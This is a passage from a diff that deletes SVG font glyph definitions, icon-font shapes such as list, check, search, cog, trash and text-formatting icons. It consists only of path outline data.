0 26 -10.5t11 -26.5v-110q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM650 580v133q0 15 11 26t27 11h175q15 0 26 -11t11 -26v-133q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27z" />
-<glyph unicode="&#xf00b;" d="M0 38v132q0 16 11 26.5t27 10.5h145q15 0 26 -10.5t11 -26.5v-132q0 -16 -11 -27t-26 -11h-145q-16 0 -27 11t-11 27zM0 320v110q0 16 11 26.5t27 10.5h145q15 0 26 -10.5t11 -26.5v-110q0 -16 -11 -27t-26 -11h-145q-16 0 -27 11t-11 27zM0 580v133q0 15 11 26t27 11 h145q15 0 26 -11t11 -26v-133q0 -16 -11 -27t-26 -11h-145q-16 0 -27 11t-11 27zM295 38v132q0 16 11 26.5t27 10.5h530q15 0 26 -10.5t11 -26.5v-132q0 -16 -11 -27t-26 -11h-530q-16 0 -27 11t-11 27zM295 320v110q0 16 11 26.5t27 10.5h530q15 0 26 -10.5t11 -26.5v-110 q0 -16 -11 -27t-26 -11h-530q-16 0 -27 11t-11 27zM295 580v133q0 15 11 26t27 11h530q15 0 26 -11t11 -26v-133q0 -16 -11 -27t-26 -11h-530q-16 0 -27 11t-11 27z" />
-<glyph unicode="&#xf00c;" d="M0 312.5q0 16.5 11 27.5l85 85q11 11 27.5 11t27.5 -11l178 -178q11 -11 27.5 -11t27.5 11l364 364q11 11 27.5 11t27.5 -11l85 -85q11 -11 11 -27.5t-11 -27.5l-444 -444q-11 -11 -30.5 -19t-35.5 -8h-43q-17 0 -36.5 8t-30.5 19l-257 258q-11 11 -11 27.5z" />
-<glyph unicode="&#xf00d;" horiz-adv-x="750" d="M0 94q0 19 14 33l248 249l-248 244q-14 14 -14 33t14 33l49 49q14 14 33 14t33 -14l246 -246l246 246q14 14 33 14t33 -14l49 -49q14 -14 14 -33t-14 -33l-248 -249l248 -244q14 -14 14 -32.5t-14 -32.5l-49 -50q-14 -14 -33 -14t-33 14l-246 247l-247 -247 q-14 -14 -32.5 -14t-32.5 14l-49 49q-14 14 -14 33z" />
-<glyph unicode="&#xf00e;" horiz-adv-x="750" d="M0 437q0 65 24.5 122t67 99.5t99.5 67t122 24.5q64 0 121 -24.5t99.5 -67t67 -99.5t24.5 -122q0 -48 -13.5 -91t-38.5 -81l168 -167q9 -10 9 -23t-9 -22l-44 -44q-9 -9 -22 -9t-22 9l-168 168q-38 -25 -81 -38.5t-91 -13.5q-65 0 -122 24.5t-99.5 67t-67 99t-24.5 121.5z M125 437q0 -39 14.5 -73t40 -59.5t60 -40t73.5 -14.5t73 14.5t59.5 40t40 59.5t14.5 73t-14.5 73t-40 59.5t-59.5 40.5t-73 15t-73.5 -15t-60 -40.5t-40 -59.5t-14.5 -73zM188 422v31q0 7 4.5 11.5t10.5 4.5h78v78q0 6 4.5 10.5t11.5 4.5h31q7 0 11.5 -4.5t4.5 -10.5v-78h78 q16 0 16 -16v-31q0 -16 -16 -16h-78v-78q0 -16 -16 -16h-31q-16 0 -16 16v78h-78q-6 0 -10.5 4.5t-4.5 11.5z" />
-<glyph unicode="&#xf010;" horiz-adv-x="750" d="M0 437q0 65 24.5 122t67 99.5t99.5 67t122 24.5q64 0 121 -24.5t99.5 -67t67 -99.5t24.5 -122q0 -48 -13.5 -91t-38.5 -81l168 -167q9 -10 9 -23t-9 -22l-44 -44q-9 -9 -22 -9t-22 9l-168 168q-38 -25 -81 -38.5t-91 -13.5q-65 0 -122 24.5t-99.5 67t-67 99t-24.5 121.5z M125 437q0 -39 14.5 -73t40 -59.5t60 -40t73.5 -14.5t73 14.5t59.5 40t40 59.5t14.5 73t-14.5 73t-40 59.5t-59.5 40.5t-73 15t-73.5 -15t-60 -40.5t-40 -59.5t-14.5 -73zM188 422v31q0 7 4.5 11.5t10.5 4.5h219q16 0 16 -16v-31q0 -16 -16 -16h-219q-6 0 -10.5 4.5 t-4.5 11.5z" />
-<glyph unicode="&#xf011;" horiz-adv-x="713" d="M0 356q0 89 41 166.5t115 128.5q6 3 14 3q7 -1 12 -8l42 -62q10 -16 -5 -26q-51 -35 -78.5 -88t-27.5 -114q0 -50 19 -94.5t52 -77.5t77.5 -52t94.5 -19q51 0 95.5 19t77.5 52t52 77.5t19 94.5q0 61 -28 114t-79 88q-6 3 -8 12q-1 6 3 14l43 62q5 6 12 7.5t14 -2.5 q73 -51 114.5 -128.5t41.5 -166.5q0 -74 -28 -138.5t-76.5 -113t-113.5 -76.5t-139 -28t-138.5 28t-113 76.5t-76.5 113t-28 138.5zM300 394v337q0 19 19 19h75q8 0 13.5 -5.5t5.5 -13.5v-337q0 -8 -5.5 -13.5t-13.5 -5.5h-75q-19 0 -19 19z" />
-<glyph unicode="&#xf012;" d="M0 19v127q0 8 5.5 13.5t13.5 5.5h94q8 0 13 -5.5t5 -13.5v-127q0 -8 -5 -13.5t-13 -5.5h-94q-19 0 -19 19zM192 19v212q0 8 5.5 13.5t13.5 5.5h94q8 0 13 -5.5t5 -13.5v-212q0 -8 -5 -13.5t-13 -5.5h-94q-8 0 -13.5 5.5t-5.5 13.5zM384 19v330q0 8 5.5 13.5t13.5 5.5h94 q8 0 13.5 -5.5t5.5 -13.5v-330q0 -8 -5.5 -13.5t-13.5 -5.5h-94q-8 0 -13.5 5.5t-5.5 13.5zM577 19v486q0 8 5 13.5t13 5.5h94q8 0 13.5 -5.5t5.5 -13.5v-486q0 -8 -5.5 -13.5t-13.5 -5.5h-94q-8 0 -13 5.5t-5 13.5zM769 19v712q0 19 19 19h93q19 0 19 -19v-712 q0 -19 -19 -19h-93q-19 0 -19 19z" />
-<glyph unicode="&#xf013;" horiz-adv-x="748" d="M0 320v111q0 7 7 9q19 5 39.5 8t40.5 5q4 0 8 0.5t9 1.5q5 14 10.5 27.5t12.5 27.5q-12 17 -26.5 36.5t-30.5 37.5q-5 5 0 12q19 23 40 44t44 40q5 5 12 0q11 -11 22.5 -20t23.5 -17q7 -5 14 -10.5t14 -10.5q26 14 55 23q3 28 6 51.5t8 45.5q2 8 9 8h111q9 0 9 -8 q4 -19 6.5 -38t5.5 -39l3 -20q14 -5 27.5 -10t26.5 -13q7 5 13 9.5t12 9.5q13 10 26 19t25 20q6 6 12 -1l11 -11q5 -5 11 -10q15 -14 30 -29.5t29 -32.5q4 -6 0 -12q-13 -15 -26 -32.5t-30 -40.5q15 -29 24 -58q12 -3 24.5 -4.5t25.5 -3.5q11 -2 23.5 -3.5t23.5 -3.5 q7 -2 7 -9v-111q0 -7 -7 -9q-18 -5 -38 -7.5t-40 -4.5q-5 -1 -9.5 -1.5t-9.5 -1.5q-5 -14 -10.5 -27.5t-12.5 -27.5q12 -17 26.5 -36.5t30.5 -37.5q5 -5 0 -12q-38 -47 -84 -84q-5 -5 -12 0q-11 11 -22.5 20t-23.5 17q-7 5 -14 10.5t-14 10.5q-26 -14 -55 -23 q-2 -23 -5.5 -48t-9.5 -49q-2 -8 -9 -8h-111q-7 0 -9 8q-3 19 -5.5 38t-5.5 39l-3 20q-14 5 -27.5 10t-26.5 13q-6 -5 -12.5 -9.5t-12.5 -9.5q-26 -18 -51 -39q-6 -6 -12 1q-5 5 -11 10.5t-11 10.5q-15 14 -30 29.5t-29 32.5q-5 6 0 12q15 18 29 37t27 36q-15 29 -24 58 q-12 3 -24.5 4.5t-24.5 3.5t-24.5 3.5t-23.5 3.5q-7 2 -7 9zM261 375q0 -24 9 -44.5t24.5 -35.5t36 -24t43.5 -9t43.5 9t35.5 24t24 35.5t9 44.5q0 23 -9 43.5t-24 35.5t-35.5 24t-43.5 9t-43.5 -9t-36 -24t-24.5 -35.5t-9 -43.5z" />
-<glyph unicode="&#xf014;" horiz-adv-x="648" d="M0 582q0 8 0.5 16t0.5 17q11 6 32.5 10t47 7t52.5 5t49 3q-2 16 -1 32t7 33q1 4 6 11.5t18.5 15t40 13t71.5 5.5t71.5 -5.5t40 -13t18 -15.5t6.5 -12q6 -17 7 -32.5t-1 -31.5q22 -1 49 -3t53 -5t47 -7t32 -10q1 -9 1 -17v-16v-16q0 -8 -1 -17q-10 -6 -30.5 -10t-45.5 -7 t-51 -5t-48 -3t-37 -1.5t-16 -0.5l-95 -1h-13h-28q-19 0 -54 1q-2 0 -16.5 0.5t-36.5 1.5t-48 3t-51 5t-45.5 7t-30.5 10q0 9 -0.5 17t-0.5 16zM67 484q41 -5 84.5 -7.5t75.5 -3.5q9 -1 23 -1h74h73q14 0 23 1q33 1 76.5 3.5t84.5 7.5q-5 -76 -8 -154.5t-7 -154.5 q-1 -19 -1.5 -42.5t-2 -45.5t-6 -40.5t-14.5 -28.5q-12 -11 -42 -14.5t-58 -3.5h-236q-29 0 -58.5 3.5t-41.5 14.5q-10 10 -14.5 28.5t-6 40.5t-2 45.5t-1.5 42.5q-4 76 -7.5 154.5t-7.5 154.5zM147 383q1 -15 1 -28t1 -22q0 -11 1 -19q2 -34 3.5 -68t3.5 -67q1 -8 1 -17 v-20v-12q0 -6 0.5 -14t1.5 -19q1 -8 9.5 -14t13.5 -6q5 -1 10 -1t8 -1h11q5 0 5 19v286q0 8 -5.5 13.5t-13.5 5.5l-33 2q-8 0 -13 -5t-5 -13zM255.5 657q0.5 -6 1.5 -15q9 1 20 1h47l67 -1q1 9 1.5 15t-0.5 11q-11 3 -29.5 4.5t-38.5 1.5t-38.5 -1.5t-29.5 -4.5 q-1 -5 -0.5 -11zM292 94q0 -8 5 -13.5t13 -5.5h28q8 0 13.5 5.5t5.5 13.5v285q0 8 -11 13t-14 5h-15q-3 0 -14 -5t-11 -13v-285zM432 94q0 -19 4 -19h11q3 1 13 1.5t15 0.5q5 1 8.5 6.5t4.5 13.5q0 11 0.5 19t0.5 14q0 7 1 12v20q0 9 1 17q2 33 3 66.5t3 67.5q0 9 1 20 q1 9 1.5 22t1.5 28q0 8 -5 13t-13 5l-33 -2q-8 0 -13 -5.5t-5 -13.5v-286z" />
-<glyph unicode="&#xf015;" d="M1 384.5q3 11.5 13 19.5l412 338q11 8 24 8t24 -8l126 -104v58q0 19 19 19h112q19 0 19 -19v-180l136 -112q10 -8 13 -19.5t-1 -22.5q-10 -24 -36 -24h-75v-300q0 -16 -10.5 -27t-26.5 -11h-206v225h-188v-225h-206q-16 0 -27 11t-11 27v300h-75q-25 0 -35 24 q-4 11 -1 22.5z" />
-<glyph unicode="&#xf016;" horiz-adv-x="600" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h219v-269q0 -23 16.5 -39.5t39.5 -16.5h269v-369q0 -23 -16.5 -39.5t-39.5 -16.5h-488q-23 0 -39.5 16.5t-16.5 39.5zM331 481v266h3l263 -263v-3h-266z" />
-<glyph unicode="&#xf017;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 84t-84 56.5t-102 20.5t-102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102zM319 375v150q0 23 16.5 39.5t39.5 16.5t39.5 -16.5t16.5 -39.5v-127l90 -89q17 -17 17 -40t-17 -40q-8 -8 -18.5 -12t-21.5 -4t-21.5 4t-18.5 12l-106 106q-1 1 -1 2t-1 2 q-7 7 -10 14q-4 9 -4 22z" />
-<glyph unicode="&#xf018;" d="M1 17l290 716q3 7 10.5 12t15.5 5h95l-4 -83h84l-4 83h95q8 0 15.5 -5t10.5 -12l290 -716q3 -7 -0.5 -12t-11.5 -5h-361l-13 250h-126l-13 -250h-361q-8 0 -11.5 5t-0.5 12zM394 389h112l-10 202h-92z" />
-<glyph unicode="&#xf019;" d="M0 19v300q0 8 5.5 13.5t13.5 5.5h112q8 0 13.5 -5.5t5.5 -13.5v-169h600v169q0 8 5.5 13.5t13.5 5.5h112q8 0 13.5 -5.5t5.5 -13.5v-300q0 -19 -19 -19h-862q-19 0 -19 19zM169 461q3 8 19 8h150v244q0 15 10.5 26t26.5 11h150q16 0 27 -11t11 -26v-244h150q15 0 18 -8 t-8 -19l-246 -247q-11 -11 -27 -11t-27 11l-246 247q-11 11 -8 19z" />
-<glyph unicode="&#xf01a;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 83.5t-84 56t-102 20.5t-102 -20.5t-83.5 -56t-56 -83.5t-20.5 -102zM206 349q4 10 24 10h79v185q0 8 5.5 13.5t13.5 5.5h94q8 0 13.5 -5.5t5.5 -13.5v-185h79q20 0 24 -10t-10 -24l-136 -136q-9 -9 -23 -9q-13 0 -23 9l-136 136q-14 14 -10 24z " />
-<glyph unicode="&#xf01b;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 83.5t-84 56t-102 20.5t-102 -20.5t-83.5 -56t-56 -83.5t-20.5 -102zM206 401q-4 10 10 24l136 136q10 9 23 9q12 0 23 -9l136 -136q14 -14 10 -24t-24 -10h-79v-185q0 -8 -5.5 -13.5t-13.5 -5.5h-94q-8 0 -13.5 5.5t-5.5 13.5v185h-79 q-20 0 -24 10z" />
-<glyph unicode="&#xf01c;" d="M0 38v282q0 16 4.5 37t10.5 35l139 324q6 14 21.5 24t30.5 10h488q15 0 30.5 -10t21.5 -24l139 -324q6 -14 10.5 -35t4.5 -37v-282q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM116 339h189l56 -113h187l57 113h179q-1 2 -1 4.5t-1 4.5l-125 290h-414l-125 -291 q-1 -1 -1 -3.5t-1 -4.5z" />
-<glyph unicode="&#xf01d;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 84t-84 56.5t-102 20.5t-102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102zM258 220v310q0 9 8 14q8 4 15 0l269 -156q8 -3 8 -13t-8 -13l-269 -156q-4 -2 -8 -2q-3 0 -7 2q-8 5 -8 14z" />
-<glyph unicode="&#xf01e;" horiz-adv-x="747" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5q66 0 127.5 -23t112.5 -65l76 76q16 16 27 11.5t11 -27.5v-217q0 -15 -11 -26q-10 -10 -25 -10l-217 -1q-23 0 -27.5 11.5t11.5 27.5l75 75q-35 26 -75.5 41t-84.5 15q-54 0 -102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102 t20.5 -102t56 -83.5t83.5 -56t102 -20.5q49 0 93.5 17t79.5 47.5t58 72t29 90.5q1 6 7 12q7 5 14 4l75 -10q8 -1 12.5 -7t3.5 -14q-9 -69 -42 -128.5t-83 -103t-113.5 -68.5t-133.5 -25q-78 0 -146 29.5t-119 80.5t-80.5 119t-29.5 146z" />
-<glyph unicode="&#xf021;" d="M3 160l70 206q4 13 18 20q15 6 28 2l206 -70q21 -7 21.5 -19t-19.5 -22l-95 -47q24 -36 57.5 -63t75.5 -41q51 -18 103 -13.5t97.5 26.5t80.5 61t53 90q2 8 8.5 11t14.5 1l71 -24q17 -7 12 -24q-25 -74 -75 -129t-114.5 -86.5t-139 -37.5t-147.5 19q-63 21 -113.5 62 t-84.5 98l-97 -47q-20 -11 -29.5 -2.5t-1.5 29.5zM95 495q25 73 75 128.5t114.5 87.5t138.5 38t148 -19q63 -22 113 -63t85 -98l97 48q20 10 29.5 1.5t1.5 -29.5l-70 -205q-4 -14 -18 -21q-15 -6 -28 -2l-206 70q-21 7 -21.5 19t19.5 22l95 47q-24 36 -58 63t-76 41 q-51 18 -103 13.5t-97 -26.5t-80 -61t-53 -90q-2 -8 -9 -11t-14 -1l-71 25q-8 2 -11 9t-1 14z" />
-<glyph unicode="&#xf022;" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h788q23 0 39.5 -16.5t16.5 -39.5v-638q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM75 75h750v525h-750v-525zM150 169v37q0 19 19 19h75q8 0 13.5 -5.5t5.5 -13.5v-37q0 -8 -5.5 -13.5t-13.5 -5.5h-75 q-19 0 -19 19zM150 319v37q0 19 19 19h75q8 0 13.5 -5.5t5.5 -13.5v-37q0 -8 -5.5 -13.5t-13.5 -5.5h-75q-19 0 -19 19zM150 469v37q0 19 19 19h75q8 0 13.5 -5.5t5.5 -13.5v-37q0 -8 -5.5 -13.5t-13.5 -5.5h-75q-19 0 -19 19zM338 169v37q0 8 5 13.5t13 5.5h375 q19 0 19 -19v-37q0 -19 -19 -19h-375q-8 0 -13 5.5t-5 13.5zM338 319v37q0 8 5 13.5t13 5.5h375q19 0 19 -19v-37q0 -19 -19 -19h-375q-8 0 -13 5.5t-5 13.5zM338 469v37q0 8 5 13.5t13 5.5h375q19 0 19 -19v-37q0 -19 -19 -19h-375q-8 0 -13 5.5t-5 13.5z" />
-<glyph unicode="&#xf023;" horiz-adv-x="750" d="M0 56v300q0 23 16.5 40t39.5 17h57v85q0 52 20.5 98t56 80t83.5 54t102 20t102 -20t84 -54t56.5 -80t20.5 -98v-85h56q23 0 39.5 -17t16.5 -40v-300q0 -23 -16.5 -39.5t-39.5 -16.5h-638q-23 0 -39.5 16.5t-16.5 39.5zM225 413h300v85q0 29 -12 54.5t-32 44.5t-47.5 30 t-58.5 11t-58.5 -11t-47.5 -30t-32 -44.5t-12 -54.5v-85z" />
-<glyph unicode="&#xf024;" d="M0 675q0 31 22 53t53 22t53 -22t22 -53q0 -20 -10 -36.5t-27 -27.5v-592q0 -8 -5.5 -13.5t-13.5 -5.5h-38q-8 0 -13 5.5t-5 13.5v592q-17 11 -27.5 27.5t-10.5 36.5zM150 203v364q0 16 9.5 32t23.5 24q51 27 92 42t70 22q34 8 61 9q33 0 60.5 -5.5t52.5 -14.5t48.5 -21 t48.5 -25q31 -14 71 -16q34 -2 80 7.5t101 42.5q14 8 23 3t9 -21v-365q0 -15 -9 -31.5t-23 -24.5q-55 -33 -101 -42.5t-80 -7.5q-40 2 -71 16q-25 13 -48.5 25t-48.5 21t-52.5 14.5t-60.5 5.5q-27 -1 -61 -9q-29 -7 -70 -22t-92 -43q-14 -8 -23.5 -2t-9.5 22z" />
-<glyph unicode="&#xf025;" d="M0 356q0 54 18.5 104.5t50 94t75 79.5t93.5 62t104.5 40t108.5 14t108.5 -14t104.5 -40t93.5 -62t75 -79.5t50 -94t18.5 -104.5q0 -87 -36 -165l-13 -28l-81 -12q-13 -49 -52.5 -81t-92.5 -32v-19q0 -8 -5.5 -13.5t-13.5 -5.5h-38q-8 0 -13 5.5t-5 13.5v337q0 8 5 13.5 t13 5.5h38q8 0 13.5 -5.5t5.5 -13.5v-18q42 0 75.5 -21t53.5 -54l19 2q15 43 15 91q0 58 -31 109.5t-80 89.5t-109 60.5t-118 22.5t-118 -22.5t-108.5 -60.5t-79.5 -89.5t-31 -109.5q0 -46 14 -91l19 -2q20 33 53.5 54t75.5 21v18q0 8 5.5 13.5t13.5 5.5h38q8 0 13 -5.5 t5 -13.5v-337q0 -8 -5 -13.5t-13 -5.5h-38q-8 0 -13.5 5.5t-5.5 13.5v19q-53 0 -92.5 32t-52.5 81l-81 12l-13 28q-36 78 -36 165z" />
-<glyph unicode="&#xf026;" horiz-adv-x="425" d="M0 286v178q0 8 5.5 13.5t13.5 5.5h196l153 153q23 23 39.5 16t16.5 -39v-476q0 -32 -16.5 -39t-39.5 16l-153 153h-196q-8 0 -13.5 5.5t-5.5 13.5z" />
-<glyph unicode="&#xf027;" horiz-adv-x="600" d="M0 286v178q0 8 5.5 13.5t13.5 5.5h196l153 153q23 23 39.5 16t16.5 -39v-476q0 -32 -16.5 -39t-39.5 16l-153 153h-196q-8 0 -13.5 5.5t-5.5 13.5zM482 205q-4 15 4 29q39 67 39 141q0 73 -39 141q-8 14 -4 29t18 23t28.5 4t22.5 -18q49 -87 49 -179t-49 -179 q-11 -19 -33 -19q-8 0 -18 5q-14 8 -18 23z" />
-<glyph unicode="&#xf028;" d="M0 286v178q0 8 5.5 13.5t13.5 5.5h196l153 153q23 23 39.5 16t16.5 -39v-476q0 -32 -16.5 -39t-39.5 16l-153 153h-196q-8 0 -13.5 5.5t-5.5 13.5zM482 205q-4 15 4 29q39 67 39 141q0 73 -39 141q-8 14 -4 29t18 23t28.5 4t22.5 -18q49 -87 49 -179t-49 -179 q-11 -19 -33 -19q-8 0 -18 5q-14 8 -18 23zM603 117q-3 15 5 29q67 105 67 229t-67 229q-8 14 -5 29t17 23t29 5t23 -17q38 -61 58 -129t20 -140t-20 -140t-58 -129q-5 -9 -14 -13.5t-18 -4.5q-11 0 -20 6q-14 8 -17 23zM723.5 30q-2.5 15 5.5 28q48 72 72 152t24 165 t-24 165t-72 152q-8 13 -5.5 28t16.5 24q13 8 28 5t24 -16q54 -81 81 -171.5t27 -186.5t-27 -186.5t-81 -171.5q-12 -17 -32 -17q-11 0 -20 6q-14 9 -16.5 24z" />
-<glyph unicode="&#xf029;" horiz-adv-x="750" d="M0 0v341h341v-341h-341zM0 409v341h341v-341h-341zM68 68h205v205h-205v-205zM68 477h205v205h-205v-205zM136 136v69h69v-69h-69zM136 545v68h69v-68h-69zM409 0v341h204v-68h69v68h68v-205h-205v68h-68v-204h-68zM409 409v341h341v-341h-341zM477 477h205v205h-205 v-205zM545 0v68h68v-68h-68zM545 545v68h68v-68h-68zM682 0v68h68v-68h-68z" />
-<glyph unicode="&#xf02a;" d="M0 0v750h75v-750h-75zM111 0v750h18v-750h-18zM174 0v750h57v-750h-57zM266 0v750h38v-750h-38zM349 0v750h37v-750h-37zM441 0v750h18v-750h-18zM495 0v750h75v-750h-75zM596 0v750h38v-750h-38zM688 0v750h19v-750h-19zM771 0v750h18v-750h-18zM825 0v750h75v-750h-75z " />
-<glyph unicode="&#xf02b;" horiz-adv-x="750" d="M0 474v218q0 24 17 41t41 17h218q24 0 53 -12t46 -29l358 -358q17 -17 17 -41t-17 -41l-252 -252q-17 -17 -41 -17t-41 17l-358 358q-17 17 -29 46t-12 53zM94 600q0 -23 16.5 -39.5t39.5 -16.5t39.5 16.5t16.5 39.5t-16.5 39.5t-39.5 16.5t-39.5 -16.5t-16.5 -39.5z" />
-<glyph unicode="&#xf02c;" horiz-adv-x="898" d="M0 475v217q0 24 17 41t41 17h217q24 0 53.5 -11.5t45.5 -29.5l321 -358q16 -17 16.5 -41t-16.5 -41l-252 -251q-17 -17 -41 -17.5t-41 17.5l-320 358q-16 18 -28.5 46.5t-12.5 52.5zM94 600q0 -23 16.5 -39.5t39.5 -16.5t39.5 16.5t16.5 39.5t-16.5 39.5t-39.5 16.5 t-39.5 -16.5t-16.5 -39.5zM379 749h83q24 0 53.5 -12t45.5 -29l321 -358q16 -18 16.5 -41.5t-16.5 -40.5l-252 -251q-17 -17 -41 -17.5t-41 17.5l-6 7l246 245q17 17 16.5 41t-16.5 41l-320 358q-15 16 -40.5 27t-48.5 13z" />
-<glyph unicode="&#xf02d;" horiz-adv-x="835" d="M5 152q1 8 2 15.5t2 16.5q0 5 -2 10t-1 10q1 8 7.5 15.5t12.5 17.5q11 18 22 44t16 45q2 8 -0.5 15t-0.5 13q2 8 8 13.5t10 11.5q5 9 10.5 20.5t10.5 24t8 24.5t4 20t-1 16t0 14q3 8 10 13t12 12q5 6 10.5 17t11 24t9.5 25.5t5 22.5q1 6 -2 12t-1 13t9 14.5t13 15.5 q8 12 14 28.5t14.5 30t22.5 21t38 0.5l-1 -2q15 5 26 5h381q38 0 58 -28q20 -26 9 -63l-138 -442q-9 -31 -38 -52.5t-62 -21.5h-436q-5 0 -10 -1t-9 -6q-6 -10 0 -27q8 -21 29.5 -37t42.5 -16h462q14 0 28 10.5t18 23.5l151 482q2 8 2.5 14.5t-0.5 13.5q20 -7 30 -21 q20 -26 9 -63l-138 -442q-9 -32 -38 -53t-62 -21h-462q-20 0 -39 7t-36 19t-30 28.5t-20 35.5q-12 33 -1 62zM244 469q-5 -19 13 -19h300q8 0 15 5.5t9 13.5l12 37q2 8 -1.5 13.5t-11.5 5.5h-300q-8 0 -15.5 -5.5t-9.5 -13.5zM278 581q-2 -8 1.5 -13t11.5 -5h300q8 0 15 5 t10 13l11 38q2 8 -1.5 13.5t-11.5 5.5h-300q-8 0 -15 -5.5t-10 -13.5z" />
-<glyph unicode="&#xf02e;" horiz-adv-x="600" d="M0 54v641q0 17 9 30.5t25 20.5q5 2 10 3t11 1h490q5 0 10.5 -1t10.5 -3q16 -7 25 -20.5t9 -30.5v-641q0 -17 -9 -30.5t-25 -19.5q-15 -7 -31.5 -3.5t-27.5 15.5l-207 207l-207 -207q-11 -12 -27.5 -15.5t-31.5 3.5q-16 7 -25 20t-9 30z" />
-<glyph unicode="&#xf02f;" d="M0 19v169q0 23 9 43.5t24.5 35.5t36 24t43.5 9h675q23 0 43.5 -9t35.5 -24t24 -35.5t9 -43.5v-169q0 -19 -19 -19h-862q-19 0 -19 19zM131 94q0 -8 5.5 -13t13.5 -5h600q8 0 13.5 5t5.5 13v19q0 8 -5.5 13.5t-13.5 5.5h-600q-8 0 -13.5 -5.5t-5.5 -13.5v-19zM150 356v357 q0 15 11 26t27 11h318v-187q0 -24 16.5 -40.5t39.5 -16.5h188v-150h-600zM562 563v187l188 -187h-188z" />
-<glyph unicode="&#xf030;" d="M0 56v525q0 23 16.5 40t39.5 17h179l28 61q9 21 32.5 36t46.5 15h216q23 0 46.5 -15t32.5 -36l28 -61h179q23 0 39.5 -17t16.5 -40v-525q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM216 319q0 -49 18.5 -91.5t50 -74.5t74.5 -50.5t91 -18.5 t91 18.5t74.5 50.5t50 74.5t18.5 91.5q0 48 -18.5 91t-50 74.5t-74.5 50t-91 18.5t-91 -18.5t-74.5 -50t-50 -74.5t-18.5 -91zM291 319q0 33 12.5 62t34 50.5t50.5 34t62 12.5t62 -12.5t50.5 -34t34 -50.5t12.5 -62t-12.5 -62t-34 -51t-50.5 -34.5t-62 -12.5t-62 12.5 t-50.5 34.5t-34 51t-12.5 62z" />
-<glyph unicode="&#xf031;" horiz-adv-x="803" d="M0 0l1 39q5 2 14.5 4t23.5 4q45 9 53 16q8 5 24 33l114 300l135 354h36h26l5 -10l99 -235q16 -38 31 -74t29 -71t25.5 -63.5t20.5 -50.5q6 -14 14 -34t18 -46q11 -32 31 -73q12 -24 17 -28q10 -9 33 -12q12 -1 24 -4.5t26 -8.5q3 -18 3 -27v-5q0 -3 -1 -8q-21 0 -44 1 t-48 3q-26 2 -48.5 3t-42.5 1h-39q-16 0 -26 -1l-97 -5l-28 -1q0 10 0.5 19.5t1.5 18.5l63 13q28 7 33 12q6 4 6 13q0 7 -3 15l-23 56l-44 111l-218 1q-6 -14 -18 -47t-32 -87q-11 -31 -11 -41q0 -13 8 -21q7 -5 19.5 -8.5t30.5 -6.5q7 -2 41 -6v-29q0 -8 -1 -13 q-17 0 -59 2.5t-109 7.5l-24 -4q-21 -4 -40.5 -5.5t-39.5 -1.5h-10zM268 320q66 -1 105.5 -2t51.5 0l14 1q-9 25 -20 54.5t-25 63.5t-25 59.5t-19 42.5z" />
-<glyph unicode="&#xf032;" horiz-adv-x="693" d="M0 0l1 46q13 3 33 6q19 3 34 6.5t27 8.5q4 7 6.5 13t3.5 12q3 16 4 39.5t1 54.5l-1 243q-1 19 -1.5 68t-2.5 130q-2 43 -6 53q-2 4 -6 5q-10 7 -34 8q-11 0 -56 6l-2 41l128 3l187 6h22q4 1 8 1h6q3 0 10.5 -0.5t19.5 -0.5h37q45 0 94 -13q9 -2 21 -6.5t26 -12.5 q31 -15 51 -37q22 -23 32 -51q5 -14 7.5 -28.5t2.5 -30.5q0 -35 -16 -63q-15 -28 -46 -51q-8 -6 -26.5 -15t-47.5 -23q87 -20 131 -71q45 -51 45 -115q0 -35 -14 -79q-11 -32 -35 -57q-32 -35 -69 -53q-38 -17 -100 -29q-34 -6 -97 -5l-97 2q-31 1 -67.5 -1t-79.5 -5 q-12 -1 -45.5 -2t-88.5 -3zM262 693q0 -6 0.5 -15.5t1.5 -21.5q1 -25 2 -58.5t0 -77.5v-48v-38q12 -2 25.5 -3t28.5 -1q86 0 130 32t44 110q0 55 -42 91q-41 37 -126 37q-26 0 -64 -7zM266 223l2 -132q0 -8 5 -21q36 -16 69 -16q64 0 107 20q40 19 60 55q9 18 14 40t5 49 q0 55 -21 88q-29 46 -69 61q-39 16 -122 16q-18 0 -30 -1.5t-20 -3.5v-70v-85z" />
